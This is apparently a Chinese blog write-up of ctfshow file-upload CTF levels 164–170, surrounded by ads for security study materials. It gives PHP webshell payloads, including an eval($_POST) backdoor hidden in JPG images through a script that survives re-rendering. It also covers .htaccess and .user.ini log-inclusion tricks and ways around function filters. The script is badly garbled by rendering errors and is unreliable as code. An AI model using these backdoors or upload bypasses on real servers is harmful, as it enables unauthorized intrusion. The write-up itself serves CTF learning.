2024年网络安全最全ctfshow WEB入门 文件上传151-170_ctfshow web入门文件包含167,阿里内部网络安全应届生就业宝典

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

imagepng($img,‘E:\各种各样的马\图片马.png’);

?>


p数组中是给图片的颜色资源,整体上说就是依据p生成出来的图片包含木马:


![](https://img-blog.csdnimg.cn/direct/0b27007803a447a28ef400347df4423d.png)


![](https://img-blog.csdnimg.cn/direct/eb390901e1d24c4988fab568b3435cda.png)


至于这个脚本是怎么绕过二次渲染,我也不能完全理解脚本原理,也许是根据P数组创造图片马能符合二次渲染不被渲染到的规律?这里希望能得到大家的指点。


上传生成的图片,成功访问,抓包到上传的图片内容:


![](https://img-blog.csdnimg.cn/direct/7063993311a444eb94b89077bc76d5cd.png)


说明里面的后门代码生效了,且内容在图片内容里面,抓包或者010editor等里面才看得出来,浏览器看不出来。


开始常规操作:


![](https://img-blog.csdnimg.cn/direct/07820286d0a44edca480c5ecf091dd6e.png)


![](https://img-blog.csdnimg.cn/direct/55084089171c40d683ec2324f767e229.png)


得到flag。


但是当我传递0=eval,然后1=system()这种类型的时候,会对eval进行报错。


![](https://img-blog.csdnimg.cn/direct/62b8b617a8f046178f24cc0399461060.png)


原因:PHP对于$a()的函数形式称为可变函数,如果$a是函数才可被调用,不是就会报错。而**eval是一个语言构造器,而不是函数**,就会报错。且在php**7.1**以上,assert也变成了语言构造器,也会报错。


这里附上这两篇文章:


[动态调用函数时的命令执行对于eval()和assert()的执行问题\_cannot call assert() with string argument dynamica-CSDN博客]( )和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客")


[https://www.cnblogs.com/0daybug/p/12610834.html]( )  
  
  


## 165.JPG二次渲染


其他的和上题一样,只是这道题要用到JPG的二次渲染。


要用这个脚本运行:



<?php $miniPayload = '<?=eval($_POST[1]);?>';

if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
  die(‘php-gd is not installed’);
}
if(!isset( a r g v [ 1 ] ) )   d i e ( ′ p h p j p g p a y l o a d . p h p < j p g n a m e . j p g > ′ ) ; s e t e r r o r h a n d l e r ( " c u s t o m e r r o r h a n d l e r " ) ; f o r ( argv[1])) {   die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for( argv[1])) die(phpjpgpayload.php<jpgname.jpg>);seterrorhandler("customerrorhandler");for(pad = 0; $pad < 1024; $pad++) {
  $nullbytePayloadSize = $pad;
  d i s = n e w D a t a I n p u t S t r e a m ( dis = new DataInputStream( dis=newDataInputStream(argv[1]);
  o u t S t r e a m = f i l e g e t c o n t e n t s ( outStream = file_get_contents( outStream=filegetcontents(argv[1]);
  $extraBytes = 0;
  c o r r e c t I m a g e = T R U E ;   i f ( correctImage = TRUE;   if( correctImage=TRUE; if(dis->readShort() != 0xFFD8) {
      die(‘Incorrect SOI marker’);
  }
  while((!KaTeX parse error: Expected 'EOF', got '&' at position 13: dis->eof()) &̲& (dis->readByte() == 0xFF)) {
      $marker = $dis->readByte();
      $size = $dis->readShort() - 2;
      d i s − > s k i p ( dis->skip( dis>skip(size);
      if($marker === 0xDA) {
          $startPos = $dis->seek();
          o u t S t r e a m T m p =         s u b s t r ( outStreamTmp =               substr( outStreamTmp=       substr(outStream, 0, $startPos) .
              KaTeX parse error: Undefined control sequence: \0 at position 43: …  str_repeat("\̲0̲",nullbytePayloadSize) .
              substr($outStream, KaTeX parse error: Expected group after '_' at position 36: …  checkImage('_̲'.argv[1], o u t S t r e a m T m p , T R U E ) ;       i f ( outStreamTmp, TRUE);           if( outStreamTmp,TRUE);     if(extraBytes !== 0) {
              while((!KaTeX parse error: Expected '}', got 'EOF' at end of input: …           if(dis->readByte() === 0xFF) {
                      if($dis->readByte !== 0x00) {
                          break;
                      }
                  }
              }
              $stopPos = $dis->seek() - 2;
              $imageStreamSize = $stopPos - $startPos;
              o u t S t r e a m =           s u b s t r ( outStream =                   substr( outStream=         substr(outStream, 0, $startPos) .
                  KaTeX parse error: Undefined control sequence: \0 at position 79: …  str_repeat("\̲0̲",nullbytePayloadSize).
                      substr($outStream, $startPos, $imageStreamSize),
                      0,
                      n u l l b y t e P a y l o a d S i z e + nullbytePayloadSize+ nullbytePayloadSize+imageStreamSize- e x t r a B y t e s ) .           s u b s t r ( extraBytes) .                   substr( extraBytes).         substr(outStream, KaTeX parse error: Expected 'EOF', got '}' at position 23: …);           }̲ elseif(correctImage) {
              $outStream = KaTeX parse error: Expected 'EOF', got '}' at position 27: …p;           }̲ else {       …argv[1], KaTeX parse error: Expected 'EOF', got '}' at position 114: …    }       }̲   } } unlink…argv[1]);
die(‘Something’s wrong’);
function checkImage($filename, $data, $unlink = FALSE) {
  global c o r r e c t I m a g e ;   f i l e p u t c o n t e n t s ( correctImage;   file_put_contents( correctImage; fileputcontents(filename, $data);
  c o r r e c t I m a g e = T R U E ;   i m a g e c r e a t e f r o m j p e g ( correctImage = TRUE;   imagecreatefromjpeg( correctImage=TRUE; imagecreatefromjpeg(filename);
  if( u n l i n k )     u n l i n k ( unlink)       unlink( unlink)   unlink(filename);
  return KaTeX parse error: Expected 'EOF', got '}' at position 15: correctImage; }̲ function custo…errno, $errstr, $errfile, $errline) {
  global $extraBytes, $correctImage;
  $correctImage = FALSE;
  if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: …     if(isset(m[1])) {
          e x t r a B y t e s = ( i n t ) extraBytes = (int) extraBytes=(int)m[1];
      }
  }
}
class DataInputStream {
  private $binData;
  private $order;
  private KaTeX parse error: Expected group after '_' at position 27: …ublic function _̲_construct(filename, $order = false, $fromString = false) {
      $this->binData = ‘’;
      $this->order = o r d e r ;     i f ( ! order;       if(! order;   if(!fromString) {
          if(!file_exists( f i l e n a m e ) ∣ ∣ ! i s f i l e ( filename) || !is_file( filename)∣∣!isfile(filename))
              die(‘File not exists [’.$filename.‘]’);
          t h i s − > b i n D a t a = f i l e g e t c o n t e n t s ( this->binData = file_get_contents( this>binData=filegetcontents(filename);
      } else {
          $this->binData = $filename;
      }
      t h i s − > s i z e = s t r l e n ( this->size = strlen( this>size=strlen(this->binData);
  }
  public function seek() {
      return ( t h i s − > s i z e − s t r l e n ( this->size - strlen( this>sizestrlen(this->binData));
  }
  public function skip($skip)
  {
      t h i s − > b i n D a t a = s u b s t r ( this->binData = substr( this>binData=substr(this->binData, KaTeX parse error: Expected 'EOF', got '}' at position 12: skip);   }̲   public fun…this->eof()) {
          die(‘End Of File’);
      }
      b y t e = s u b s t r ( byte = substr( byte=substr(this->binData, 0, 1);
      t h i s − > b i n D a t a = s u b s t r ( this->binData = substr( this>binData=substr(this->binData, 1);
      return ord(KaTeX parse error: Expected 'EOF', got '}' at position 12: byte);   }̲ ​   public f…this->binData) < 2) {
          die(‘End Of File’);
      }
      s h o r t = s u b s t r ( short = substr( short=substr(this->binData, 0, 2);
      t h i s − > b i n D a t a = s u b s t r ( this->binData = substr( this>binData=substr(this->binData, 2);
      if($this->order) {
          s h o r t = ( o r d ( short = (ord( short=(ord(short[1]) << 8) + ord($short[0]);
      } else {
          s h o r t = ( o r d ( short = (ord( short=(ord(short[0]) << 8) + ord($short[1]);
      }
      return KaTeX parse error: Expected 'EOF', got '}' at position 12: short;   }̲ ​   public f…this->binData||(strlen($this->binData) === 0);
  }
}
?>


使用方法:在同一文件夹下放入这个脚本和图片,打开cmd命令:php jpg.php 1.jpg


图片要上传后经服务器渲染后再来运行脚本,这样可以使渲染修改得最小。


我用了十多张图片,才找到一张能拿后门的


![](https://img-blog.csdnimg.cn/direct/cc0bd231ea0c4aaeb349c134f3abce6a.jpeg)


其他的要么是这种:


![](https://img-blog.csdnimg.cn/direct/b44fe9ba1522406fb8c2e70702852b6c.png)


要么是这种:


![](https://img-blog.csdnimg.cn/direct/ee0e35efbff54e9a81da230e03b36c46.png)


然后最后常规操作得到flag。


![](https://img-blog.csdnimg.cn/direct/481e9fc87b3f40daae45f40ed7df319d.png)



## 166.zip


上传一个zip格式文件,写下后门代码


![](https://img-blog.csdnimg.cn/direct/68ed6a9dd3d9406e9b7cea6d5d336cd8.png)


![](https://img-blog.csdnimg.cn/direct/3000ab896985466f87147627397ddc78.png)


点击 下载文件 进行抓包


![](https://img-blog.csdnimg.cn/direct/6c35bec7c3fd473eb9ab5735c5c6588e.png)


这里我的后门代码给的是post一定要把请求方法改成post(URL前面的),我以前一直没有注意这个细节,想来有很多莫名其妙的问题多半是因为这个。


![](https://img-blog.csdnimg.cn/direct/14b7c59d205746b9b57921a202a61a73.png)


然后常规操作。


![](https://img-blog.csdnimg.cn/direct/b9df189bfa864a8f9b0b8edddc8a9a88.png)


## 


## 167. htaccess配置文件


将AddType application/x-httpd-php .txt写入.htaccess配置文件。


意为将.txt文件解析为.php文件。


所以如果能上传这个文件,就不需要前面的文件包含漏洞来配合文件上传。


经过实验,这关没有什么过滤。


直接抓包把.htaccess和写有后门的1.txt日上去。


然后常规操作。


## 


## 168.基础免杀


这道题有个小坑,文件目录在upload下面,而不是点击那个下载文件所在的目录。


这道题把system和eval这些危险函数或语言构造器过滤了,所以可以用构造可变函数来绕过(也可以用反引号表示命令的方法):


![](https://img-blog.csdnimg.cn/direct/932716291f36433cb72e450bfab2d5a4.png)


![](https://img-blog.csdnimg.cn/direct/4c36ddbc24c54c51a4d09dff0ca8a133.png)


可以再次验证一下164关提到的东西:


![](https://img-blog.csdnimg.cn/direct/25519e63e1bf4e19a0c1e9c39311f9c4.png)


eval不是函数,是语言构造器,可变函数变量传递的值必须是函数。



## 169&170 plus日志包含


踩的一个坑:前端需要上传zip文件,服务器却检测MIME是不是image/.....


这道题直接把<都给过滤了。那么想到之前做题的思路,不能直接执行后门则找包含点。这道题URL不是之前的?file=这种有包含点的形式了,所以想到日志包含。


日志包含的时候我们是上传.user.ini文件,且要.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用,所以先上传了一个没有内容的1.php文件上去,再上传.user.ini文件包含日志:


![](https://img-blog.csdnimg.cn/direct/28bd08c58cc34f3d983c3a7708843609.png)


成功了,再给UA头注入后门,post恶意代码:


![](https://img-blog.csdnimg.cn/direct/63e89faef05f46e0a9e890cc4b7abe0f.png)





还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值